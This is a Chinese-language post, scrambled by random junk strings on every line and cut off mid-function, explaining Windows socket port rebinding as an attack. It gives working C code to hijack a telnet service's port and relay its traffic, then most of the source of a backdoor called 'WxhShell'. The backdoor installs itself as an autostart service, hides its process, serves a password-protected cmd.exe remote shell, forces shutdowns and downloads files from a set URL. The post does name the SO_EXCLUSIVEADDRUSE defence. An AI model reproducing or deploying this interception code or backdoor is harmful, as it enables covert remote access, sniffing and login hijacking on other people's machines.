在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
eq9qE^[Z& s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
b8$%=Xp @9k/od@mW saddr.sin_family = AF_INET;
gs~u8"B u(ETc*D] saddr.sin_addr.s_addr = htonl(INADDR_ANY);
zXwdU58 PX?^v8wlqL bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
q'X#F8v ;B:\e8 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
i/C0
(! Jr>Nc}!U 这意味着什么?意味着可以进行如下的攻击:
7EL0!:P p3 OSC_-[b- 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
?9*[\m?- ZMK1V)ohn 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
LXR>M>a` fRzJiM{ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
z34+1d V9`jq$ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
a3He-76 =v{ R(IX% 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
=knBwjeD UK[+I]I
p 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
F-Ku0z]){? 4@M}5WJ7 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
:a( Oc'T 1}CJ& #include
Ti#x62X{ #include
DuC_uNJ #include
K-@cn*6 #include
SMQC/t]HT DWORD WINAPI ClientThread(LPVOID lpParam);
1flB A,6L int main()
OoZv\"}!_ {
U8zs=tA WORD wVersionRequested;
6%&w\<(SG DWORD ret;
2W63/kRbU WSADATA wsaData;
o;pJjC] BOOL val;
48mTL+* SOCKADDR_IN saddr;
)Qo^Mz SOCKADDR_IN scaddr;
id/y_ekfP int err;
krXU*64 SOCKET s;
01+TVWKX SOCKET sc;
9}d^ll& int caddsize;
AxCFZf 5 HANDLE mt;
Js9EsN% DWORD tid;
qqu]r wVersionRequested = MAKEWORD( 2, 2 );
\Oe8h#% err = WSAStartup( wVersionRequested, &wsaData );
jZqCM{ if ( err != 0 ) {
asYUb&Hz88 printf("error!WSAStartup failed!\n");
B)qcu'>iy return -1;
7+P-MT }
In}~bNv? saddr.sin_family = AF_INET;
/J&_ZDNV~ ,WS{O6O7 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
kM(,8j N9O}6 saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
#-g2p?+i& saddr.sin_port = htons(23);
gyv @_}Y3 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
%nj{eT {
<!~NG3KW[> printf("error!socket failed!\n");
t\-;n:p- return -1;
qB3=wFI }
28 ;x5m)N val = TRUE;
i0[mU, //SO_REUSEADDR选项就是可以实现端口重绑定的
3O?[Yhk`. if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
dca?(B!'6 {
RG`eNRTQ% printf("error!setsockopt failed!\n");
WL<f! return -1;
ujbJ&p
}
k FE<M6a9@ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
OJ)XJL //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
$_
k:{? //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
F6
f }9Awv#+ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
h%U,g
9_ {
B..> *Xb ret=GetLastError();
++d[YhO printf("error!bind failed!\n");
Opf^#6'mq return -1;
m%i!;K"{s }
-KiI&Q listen(s,2);
%Yny/O\e% while(1)
*Q,9 [k {
;C+
_K S caddsize = sizeof(scaddr);
jGOE
CKP //接受连接请求
R nk&:c sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
6G?7>M if(sc!=INVALID_SOCKET)
wWB^m@:4 {
S(hT3MAW mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
-|/*S]6kK if(mt==NULL)
)F%zT[Auph {
4Pr@<S"U printf("Thread Creat Failed!\n");
ZNY),3? break;
Yj>ezFo }
5@{~830 }
_l&.<nz CloseHandle(mt);
4>te>[ }
ug9]^p/)^ closesocket(s);
6g%~~hX WSACleanup();
B3V+/o6 return 0;
tcj3x< }
#^bn~ DWORD WINAPI ClientThread(LPVOID lpParam)
%51HJB}C] {
-n`2>L1 SOCKET ss = (SOCKET)lpParam;
%jj\w> SOCKET sc;
cW\Y1=Gv| unsigned char buf[4096];
RV, cQ K SOCKADDR_IN saddr;
,L^ag&!4 long num;
9l:vVp7Uk DWORD val;
>I;J!{ DWORD ret;
%scQP{%aD //如果是隐藏端口应用的话,可以在此处加一些判断
A>QAR)YP //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
??=su.b saddr.sin_family = AF_INET;
>Gxh=**F saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
p$@l,4@{ saddr.sin_port = htons(23);
_&/2-3]\B if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
s,;L6nX" {
' |
bHu printf("error!socket failed!\n");
XFWo"%}w return -1;
QF9$SCmv }
.*g^
i` val = 100;
I"r[4>>B>0 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
%pr}Xs(-f {
Hrj@I?4 ret = GetLastError();
;$rh&ET return -1;
)dZ1$MC[ }
3C(V<R? if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
jinXK {
R'x^Y" ret = GetLastError();
#EX NS r return -1;
yU< "tg E }
v!%VH?cA8 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
#kPsg9Y {
=!P$[pN2 printf("error!socket connect failed!\n");
@1iH4RE* closesocket(sc);
\6K1Z!*; closesocket(ss);
@RFJe$% return -1;
u13v@<HGc }
4#2iq@s while(1)
5WU?Km {
geEETb}+y //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
$'
>|r] //如果是嗅探内容的话,可以再此处进行内容分析和记录
7DCu#Y[ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
WS1$cAD2N num = recv(ss,buf,4096,0);
x$/:%"E if(num>0)
4dI= send(sc,buf,num,0);
C9"yu&l else if(num==0)
()%;s2>F break;
&(,-:"{pNR num = recv(sc,buf,4096,0);
E8PlGQ~z{d if(num>0)
xzOM\Nq?O send(ss,buf,num,0);
g%T` 6dvT else if(num==0)
)b;}]C break;
so@wUxF }
5qQ\ H} closesocket(ss);
F@Cxjz closesocket(sc);
nj5Hls return 0 ;
,NoWAmv }
iE=:}"pI" NM&R\GI &xMQ ==========================================================
\s">trXwX W#lt_2!j 下边附上一个代码,,WXhSHELL
Wc!.{2 QsH?qI&2jp ==========================================================
eCXw8 2RC@Fu~zaU #include "stdafx.h"
dn|OY.`| NJ$c0CNy #include <stdio.h>
_V_GdQ #include <string.h>
F@u>5e^6 #include <windows.h>
}@Ou]o #include <winsock2.h>
<CY<-H #include <winsvc.h>
V}+Ui]ie|I #include <urlmon.h>
?emYLw Y5$VWUrB #pragma comment (lib, "Ws2_32.lib")
cHk ?$ #pragma comment (lib, "urlmon.lib")
c$52b4=a cy!;;bB #define MAX_USER 100 // 最大客户端连接数
%6HJM| {H #define BUF_SOCK 200 // sock buffer
E.+BqWZ! #define KEY_BUFF 255 // 输入 buffer
$ J)2E g O>kM2xw #define REBOOT 0 // 重启
0rj50$~$] #define SHUTDOWN 1 // 关机
T~b6Zu6 #CTHCwYo #define DEF_PORT 5000 // 监听端口
/eNDv(g)M qASV\
<n #define REG_LEN 16 // 注册表键长度
GMQKR,6VM #define SVC_LEN 80 // NT服务名长度
B{\qYL/~ gWpG-RL0 // 从dll定义API
])iw|`@dJ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
+o^sm '$ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
{2MS,Ua{ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
9,G94.da typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
?_+8K`B l fJ
lXD // wxhshell配置信息
BhCOT+i;c struct WSCFG {
X8212[7 int ws_port; // 监听端口
]d -U char ws_passstr[REG_LEN]; // 口令
G
"`t$=0 int ws_autoins; // 安装标记, 1=yes 0=no
}D7} %P] char ws_regname[REG_LEN]; // 注册表键名
-VO* P char ws_svcname[REG_LEN]; // 服务名
9 `z^'k& char ws_svcdisp[SVC_LEN]; // 服务显示名
&24$*Oe char ws_svcdesc[SVC_LEN]; // 服务描述信息
D/] char ws_passmsg[SVC_LEN]; // 密码输入提示信息
)ME'qA3K int ws_downexe; // 下载执行标记, 1=yes 0=no
2!;U.+( char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Ki( char ws_filenam[SVC_LEN]; // 下载后保存的文件名
/aX5G Xgyi}~AoaU };
z]bcg$m =Xh*w // default Wxhshell configuration
$61j_;WF` struct WSCFG wscfg={DEF_PORT,
A~%h*nZc%I "xuhuanlingzhe",
+w'He9n 1,
%Tm8sQ)1 "Wxhshell",
B7ty*)i? "Wxhshell",
q_[V9 "WxhShell Service",
Z"Byv.yq b "Wrsky Windows CmdShell Service",
+[Zcz4\9 "Please Input Your Password: ",
^b@&O-&s 1,
o0\d`0-el "
http://www.wrsky.com/wxhshell.exe",
2V)qnMxAZJ "Wxhshell.exe"
j2%?-(U };
Os"T,`F2s !@wG22iC4d // 消息定义模块
8lfKlXR78 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
2(iv+<t char *msg_ws_prompt="\n\r? for help\n\r#>";
u RPvo}!=1 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
%% A==_b char *msg_ws_ext="\n\rExit.";
*e}1KcJ char *msg_ws_end="\n\rQuit.";
-G@:uxB char *msg_ws_boot="\n\rReboot...";
_rj B. char *msg_ws_poff="\n\rShutdown...";
6qH^&O][ char *msg_ws_down="\n\rSave to ";
d
gRTV<vM o=ULo &9 char *msg_ws_err="\n\rErr!";
I!;vy/r char *msg_ws_ok="\n\rOK!";
YqNI:znm- 5BsfbLKC char ExeFile[MAX_PATH];
T f;:C] int nUser = 0;
3}25=%;[ HANDLE handles[MAX_USER];
n+%tu"e int OsIsNt;
cLyed3uU fZF.eRP' SERVICE_STATUS serviceStatus;
`(Ij@84
SERVICE_STATUS_HANDLE hServiceStatusHandle;
7zEpuw NQ qq\h // 函数声明
0FG|s#Ig int Install(void);
Fooa~C" int Uninstall(void);
'ghwc:Og|% int DownloadFile(char *sURL, SOCKET wsh);
y~/i{a;1y int Boot(int flag);
[y(AdZ0* void HideProc(void);
c?XqSK`',Z int GetOsVer(void);
0|D
l/1 int Wxhshell(SOCKET wsl);
e=Teq~K void TalkWithClient(void *cs);
$ Ov#^wfA int CmdShell(SOCKET sock);
%^
g(2^ int StartFromService(void);
; 6*Ag#Z int StartWxhshell(LPSTR lpCmdLine);
JDj^7\` $3D#U^7i VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
&p6^
VOID WINAPI NTServiceHandler( DWORD fdwControl );
[>wvVv k*Vf2O3${ // 数据结构和表定义
F,>-+~L= SERVICE_TABLE_ENTRY DispatchTable[] =
2z615?2_U {
k}$k6Sr" {wscfg.ws_svcname, NTServiceMain},
l5fF.A7TT {NULL, NULL}
nk^-+olm };
bdz&"\$X ~u+|NtF // 自我安装
#uHl int Install(void)
|cd=7[B {
ug.'OR char svExeFile[MAX_PATH];
os~}5QJ HKEY key;
KM jnY2 strcpy(svExeFile,ExeFile);
)'Yoii{dSU IWD21lS // 如果是win9x系统,修改注册表设为自启动
Fl;!'1 if(!OsIsNt) {
?2$0aq if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
bJ6@
B< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
)o>1=Y`[z RegCloseKey(key);
?7CHHk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
R4P$zB_<2 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
z(d X< RegCloseKey(key);
Mh;rhQ return 0;
g1zX^^nd,V }
o YNp0Hc }
$dgez#TPL }
j~:N8(= else {
lM'yj}:~ PquATAzQA // 如果是NT以上系统,安装为系统服务
@E5}v SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
KXTx{R if (schSCManager!=0)
h<ULp&g {
.e8S^lSl SC_HANDLE schService = CreateService
Owz.C_{) (
P<GHX~nB schSCManager,
%*`yd.L0W wscfg.ws_svcname,
%V&I${z wscfg.ws_svcdisp,
Vj{}cL"MR SERVICE_ALL_ACCESS,
X=d;WT4,, SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
<<:a>)6\ SERVICE_AUTO_START,
#ZS8}X*S SERVICE_ERROR_NORMAL,
}2-p=Y:6 svExeFile,
*UlL\ NULL,
-yn;Jo2- NULL,
Up|>)WFw" NULL,
*S$`/X NULL,
;UB$Uqs6 NULL
?
(f44Zgm );
b$Ch2Qz0q if (schService!=0)
6a\YD{D] _ {
dxI t.h CloseServiceHandle(schService);
eg
vgi?y CloseServiceHandle(schSCManager);
_$Hx:^p: strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
%B{NH~ strcat(svExeFile,wscfg.ws_svcname);
&?@5G if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
*zR RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
`*hrU{b RegCloseKey(key);
b 7%O[ return 0;
l-mf~{ }
m;]glAtt }
,J0BG0jB^u CloseServiceHandle(schSCManager);
wRi` L7 }
xHMbtY }
K@PQLL#yJp (`&`vf return 1;
xjDV1Xf* }
x3>PM]r(V /2\%X`]< // 自我卸载
g~AOKHUP int Uninstall(void)
/ NlT[@T {
/kY|PY HKEY key;
j7M[]/| &]? X"K if(!OsIsNt) {
O7AW9*< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
P95A_(T=[ RegDeleteValue(key,wscfg.ws_regname);
[Nn ?:5" RegCloseKey(key);
@Ja8~5 : if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
VY9|8g/ RegDeleteValue(key,wscfg.ws_regname);
Aj;F$(su RegCloseKey(key);
G`HL^/Z* return 0;
bqt*d)$ }
tsA+B&R_] }
VYZkHjj)2i }
:z!N_]t else {
4,|A\dXE 9(/ ;Wutj" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Z $? Ql@M if (schSCManager!=0)
YIQm;EEG {
8,,$C7"EP SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
:2KLziO2 if (schService!=0)
>_4Ck{^d# {
x1}7c9nK if(DeleteService(schService)!=0) {
u0@i3Po CloseServiceHandle(schService);
Z E*m; CloseServiceHandle(schSCManager);
~$8t/c return 0;
hF!t{ Lf3 }
v3i]z9` CloseServiceHandle(schService);
!)(c_ uz }
uWYI p\NN CloseServiceHandle(schSCManager);
s2{d<0x?v }
'$3]U5KOwK }
R{5xb Qw ukhD7 return 1;
\V#2K>< }
|nN{XjNfP5 rR4_=S<Mi: // 从指定url下载文件
y0d a8sd) int DownloadFile(char *sURL, SOCKET wsh)
E2s
lpo {
]mN'Qoc HRESULT hr;
DJ)z~W2I* char seps[]= "/";
RN1q/H| char *token;
Bw31h3yB char *file;
rSUarfZ< char myURL[MAX_PATH];
]Fc<%wzp char myFILE[MAX_PATH];
G 1rsd N;9m&)@JR' strcpy(myURL,sURL);
#-_';Er\ token=strtok(myURL,seps);
U9[
&ci while(token!=NULL)
' {L5 3cH= {
S`Jo^!VJ4 file=token;
:)UF# token=strtok(NULL,seps);
TU-4+o%; }
S0\;FmLIc bm>,$GW( GetCurrentDirectory(MAX_PATH,myFILE);
QQso<.d& strcat(myFILE, "\\");
K 9ytot strcat(myFILE, file);
'E{n1[b send(wsh,myFILE,strlen(myFILE),0);
@?$x send(wsh,"...",3,0);
<6]TazW?S hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
+mQMzZZTZ if(hr==S_OK)
9y(75Bn9 return 0;
R&cOhUj22J else
37hs/=x return 1;
$r`^8/Mq3 JC~L!)f }
j9@7\N<
L7*,v5 // 系统电源模块
R^PPgE6!$ int Boot(int flag)
gAA2S5th {
-kh O4, HANDLE hToken;
v+NdO$o TOKEN_PRIVILEGES tkp;
T[}A7a6g_ X|}yp| if(OsIsNt) {
]xlV;m OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
4!pMZ<$3 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
}Km+5'G'U tkp.PrivilegeCount = 1;
cnQ;6LtFTz tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
c/Fy1Lv\ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
l,n0=Ew if(flag==REBOOT) {
g-0?8q5T6 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
]d$:R`; return 0;
U~j:b { }
}fps~R else {
CbmT aEaP if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
/DG+8u return 0;
?v4-<ewD }
~s@PP'! }
-a`` else {
"<3F[[;~ if(flag==REBOOT) {
6>rgoT)6~ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
mRe BS return 0;
si:p98[w }
UEZnd8 else {
p5 |.E if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
+FD"8 ^YC return 0;
(yjx+K_[ }
&b[.bf }
xV&c)l>} \K$9r=!( return 1;
_i_^s0J }
g.wp
}fz |JZ3aS // win9x进程隐藏模块
v~f_~v5J! void HideProc(void)
aDrF"j {
s}8(__| /5qeNjI+2 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
!~+"TI}_%w if ( hKernel != NULL )
`SdvXn {
Aofk< O!M pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
ftS^|%p ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
@>Y.s6a FreeLibrary(hKernel);
: +Na8\d }
pCXceNFo +Bg$]~T return;
Lnin;0~{ }
J!O{.v ,/?7sHK-0 // 获取操作系统版本
x=1Iuc;&3 int GetOsVer(void)
b-Q*!Ut {
h(q,-')l_ OSVERSIONINFO winfo;
LA!2!60R winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
<gvuCydsh GetVersionEx(&winfo);
asDk@Gcu if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
8|Wu8z-- return 1;
Yp*Dd}n` else
G@Ha
t return 0;
tM&O<6Y }
B|\pzWD% M]FA
y "E // 客户端句柄模块
6j*L]Sc int Wxhshell(SOCKET wsl)
5k%GjT {
1~J:hjKQ SOCKET wsh;
>XTDN struct sockaddr_in client;
OZDd DWORD myID;
N*J!<vY" UE:';(t while(nUser<MAX_USER)
T0:%,o {
]2:w?+T int nSize=sizeof(client);
d-GU164 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
^("23mhfJ if(wsh==INVALID_SOCKET) return 1;
2O|jVGap5x q mJ#cmN handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
HuVx^y`
@ if(handles[nUser]==0)
, %8keGhl closesocket(wsh);
p(B^](? else
prIPPeMdz nUser++;
1/JtL>SKE }
Z<P?P` WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
,@\$PyJ L1Hk[j]X| return 0;
hg2a,EU\Z }
hSl6X3W V(lxkEu/Fj // 关闭 socket
!6`pq void CloseIt(SOCKET wsh)
PZ#\O {
oouhP1py, closesocket(wsh);
r$8(Q' nUser--;
V4["+Y ExitThread(0);
n]3Lqe; }
g-C)y
06 f9%M:cl // 客户端请求句柄
;h f{B7 void TalkWithClient(void *cs)
!7rk>YrY {
ES4[@RX *#n#J[ SOCKET wsh=(SOCKET)cs;
(WCczXm ) char pwd[SVC_LEN];
-`f 1l8LD2 char cmd[KEY_BUFF];
%%-?~rjI char chr[1];
qsA`\%]H int i,j;
S9
p*rk~ ' ?4\ while (nUser < MAX_USER) {
dmB
_`R w\K(kNd( if(wscfg.ws_passstr) {
Wr j<}L| if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
5bj9S //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Zra P\ ? //ZeroMemory(pwd,KEY_BUFF);
pu"m(9 i=0;
U} K]W>Z while(i<SVC_LEN) {
G?,b51" G7qB // 设置超时
pdw;SIoC fd_set FdRead;
B[$L)y'-; struct timeval TimeOut;
C:9a$ FD_ZERO(&FdRead);
0Tv0:c>8;( FD_SET(wsh,&FdRead);
ZZ? KD\S5 TimeOut.tv_sec=8;
r|ID]}w TimeOut.tv_usec=0;
}J ^+66{ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
LykB2]T if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
r\j*?m ] w/oXFs&FK if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
s7Z+--I)L pwd
=chr[0]; _{C
=d3
if(chr[0]==0xd || chr[0]==0xa) { {W' 9k
pwd=0; P\rA>ZY
break; F97HFt6{
} )c<X.4
i++; 3oQ?VP
} NMvNw?]
/8O;Q~a
// 如果是非法用户,关闭 socket UhX)?'J
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Zk+c9, q
} `9`T,uJe
qS!U1R?s
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fG,)`[eD!_
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m\.(-
2:jWO_V@
while(1) { KsDovy<
y5/LH~&Ov
ZeroMemory(cmd,KEY_BUFF); Hp(wR'(g&
">M:6\B
// 自动支持客户端 telnet标准 &&>Tfzh
j=0; -)%gMD~z1
while(j<KEY_BUFF) { x4N*P
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =J GL~t?
cmd[j]=chr[0]; @c-| Sl
if(chr[0]==0xa || chr[0]==0xd) { 0F-%C>&g
cmd[j]=0; EEp~\^-
break; ra|Ku!
} 3+WmM4|
j++; W @]t
} jr2wK?LbB
Fzk%eHG=
// 下载文件 Koi-b
if(strstr(cmd,"http://")) { hRI?>an
send(wsh,msg_ws_down,strlen(msg_ws_down),0); hQ80R B
if(DownloadFile(cmd,wsh)) nr?| !gj
send(wsh,msg_ws_err,strlen(msg_ws_err),0); m85Hx1!p.
else ~vscATQ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {%BPP{OFk
} Yl`)%6'5|
else { oIv\Xdc8 1
(7A- cC
switch(cmd[0]) { d",VOhW7)S
DEQ7u`6
// 帮助 H$k2S5,,z
case '?': { 8zrLl:{
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3y}8|ML
break; E#VF7 9L
} =5q_aK#i
// 安装 r:U/a=V
case 'i': { MWI7u7{
if(Install()) _-:CU
send(wsh,msg_ws_err,strlen(msg_ws_err),0); jAxrU
else pn p)- a*7
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZkmYpi[
break; ^0g!,L
} ?_j]w%Hz
// 卸载 1xDh[:6
case 'r': { q+U&lw|"w
if(Uninstall()) ]-{A"tJ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); m9mkZ:r(kV
else sI5S)^'IQ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0gsRBy
break; .c]@xoC
} I\<)9`O
// 显示 wxhshell 所在路径 $6~t|[7:%Y
case 'p': { 6^sH3=#
char svExeFile[MAX_PATH]; i'3)5
strcpy(svExeFile,"\n\r"); b6d}<b9#
strcat(svExeFile,ExeFile); +QA|]Y~!
send(wsh,svExeFile,strlen(svExeFile),0); Hn}m}A
break; @y/!`Ziw
} ^IqD^(Kb
// 重启 {.r
#j|
case 'b': {
NArr2o2
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <N8z<o4rku
if(Boot(REBOOT)) F13vc~$Ky
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?D+H2[n\a
else { _BI[F
m
closesocket(wsh); (g3DI*Z
ExitThread(0); ke19(r Ch
} "J{A}g[
break; [8'^"
} NL-V",gI-~
// 关机 Y'Yu1mH)
case 'd': { i?D)XXB85
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); jJV1 /]TJ
if(Boot(SHUTDOWN)) D77s3AyHK
send(wsh,msg_ws_err,strlen(msg_ws_err),0); oC}2 Z{
else { L}VQc9"gc
closesocket(wsh); ^+O97<#6C
ExitThread(0); B=HEi\55K
} A2''v3-h8
break; =}%Q}aPp
} y]}N[l
// 获取shell kC
iOcl*$
case 's': { Ki dbcZ
CmdShell(wsh); Tbj}04;I
closesocket(wsh); q{XeRQ'/
ExitThread(0); / hYFOZ
break; d0YQLh
} "4L_BJZ
// 退出 y3ST0=>j}
case 'x': { {'6-;2&f
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ({mlA`d]
CloseIt(wsh); NY/-9W5T4
break; NBD1k;
} p7Z/%~0v:
// 离开 >AW&Lfw$
case 'q': { z{nd4qOsD
send(wsh,msg_ws_end,strlen(msg_ws_end),0); w"Y'I$
closesocket(wsh); Lj1>X2.gD
WSACleanup(); W)Mc$`nX
exit(1); W#foVAi .
break; u@T,8
} EMf"rGXu(
} A5~OHmeK
} nTHCb>,vM
LZ8xh
// 提示信息 YJ>P+e\o9
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %[OZ;q& X
} 8u"HW~~=
} OBf$0
FSb4RuD9
return; 6SEq 2
} !H(V%B%
$*C'{&2
// shell模块句柄 yc0_7Im?
int CmdShell(SOCKET sock) WQv`%%G2>
{ ^-,@D+eW
STARTUPINFO si; Nc*z?0wP
ZeroMemory(&si,sizeof(si)); f\~A72-
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P9M. J^<
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l@g%A#
_
PROCESS_INFORMATION ProcessInfo; C~"b-T
char cmdline[]="cmd"; Jp(CBCG{F
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |3Bmsd/3
return 0; ZdlQ}l#F
} C;m*0#9D
]~9YRVeC
// 自身启动模式 is`~C
int StartFromService(void) Xj$'i/=-+c
{ R_Uy.0=4
typedef struct Sz>Lbs
{ Hli22~7T:
DWORD ExitStatus; tHFBLM
DWORD PebBaseAddress; L/)Q1Mm
DWORD AffinityMask; {YEGy
DWORD BasePriority; \Z_29L w=
